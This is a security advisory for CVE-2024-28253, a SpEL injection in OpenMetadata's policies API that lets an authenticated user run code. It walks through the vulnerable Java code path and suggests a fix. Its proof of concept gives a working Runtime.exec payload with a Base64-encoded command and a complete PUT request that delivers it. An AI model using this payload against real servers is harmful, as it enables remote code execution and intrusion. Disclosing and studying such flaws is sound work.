CVE-2024-28253: OpenMetadata vulnerable to SpEL Injection in `PUT /api/v1/policies` (`GHSL-2023-252`)

SpEL Injection in PUT /api/v1/policies (GHSL-2023-252)

Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability

CompiledRule::validateExpression is also called from `PolicyRepository.prepare`

  @Override
  public void prepare(Policy policy, boolean update) {
    validateRules(policy);
  }
  ...
  public void validateRules(Policy policy) {
    List<Rule> rules = policy.getRules();
    if (nullOrEmpty(rules)) {
      throw new IllegalArgumentException(CatalogExceptionMessage.EMPTY_RULES_IN_POLICY);
    }

    // Validate all the expressions in the rule
    for (Rule rule : rules) {
      CompiledRule.validateExpression(rule.getCondition(), Boolean.class);
      rule.getResources().sort(String.CASE_INSENSITIVE_ORDER);
      rule.getOperations().sort(Comparator.comparing(MetadataOperation::value));

      // Remove redundant resources
      rule.setResources(filterRedundantResources(rule.getResources()));

      // Remove redundant operations
      rule.setOperations(filterRedundantOperations(rule.getOperations()));
    }
    rules.sort(Comparator.comparing(Rule::getName));
  }

prepare() is called from `EntityRepository.prepareInternal()` which, in turn, gets called from the `EntityResource.createOrUpdate()`:

public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
  repository.prepareInternal(entity, true);

  // If entity does not exist, this is a create operation, else update operation
  ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
  MetadataOperation operation = createOrUpdateOperation(resourceContext);
  OperationContext operationContext = new OperationContext(entityType, operation);
  if (operation == CREATE) {
    CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
    authorizer.authorize(securityContext, operationContext, createResourceContext);
    entity = addHref(uriInfo, repository.create(uriInfo, entity));
    return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
  }
  authorizer.authorize(securityContext, operationContext, resourceContext);
  PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
  addHref(uriInfo, response.getEntity());
  return response.toResponse();
}

Note that even though there is an authorization check (authorizer.authorize()), it gets called after prepareInternal() gets called and therefore after the SpEL expression has been evaluated.

In order to reach this method, an attacker can send a PUT request to /api/v1/policies which gets handled by `PolicyResource.createOrUpdate()`:

@PUT
@Operation(
    operationId = "createOrUpdatePolicy",
    summary = "Create or update a policy",
    description = "Create a new policy, if it does not exist or update an existing policy.",
    responses = {
      @ApiResponse(
          responseCode = "200",
          description = "The policy",
          content = @Content(mediaType = "application/json", schema = @Schema(implementation = Policy.class))),
      @ApiResponse(responseCode = "400", description = "Bad request")
    })
public Response createOrUpdate(
    @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreatePolicy create) {
  Policy policy = getPolicy(create, securityContext.getUserPrincipal().getName());
  return createOrUpdate(uriInfo, securityContext, policy);
}

This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.

Proof of concept

• Prepare the payload
• Encode the command to be run (eg: touch /tmp/pwned) using Base64 (eg: dG91Y2ggL3RtcC9wd25lZA==)
• Create the SpEL expression to run the system command: T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
• Send the payload using a valid JWT token:

PUT /api/v1/policies HTTP/1.1
Host: localhost:8585
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 367

{"name":"TeamOnlyPolicy","rules":[{"name":"TeamOnlyPolicy-Rule","description":"Deny all the operations on all the resources for all outside the team hierarchy..","effect":"deny","operations":["All"],"resources":["All"],"condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]}

• Verify that a file called /tmp/pwned was created in the OpenMetadata server

Impact

This issue may lead to Remote Code Execution by a registered and authenticated user

Remediation

Use `SimpleEvaluationContext` to exclude *references to Java types, constructors, and bean references*.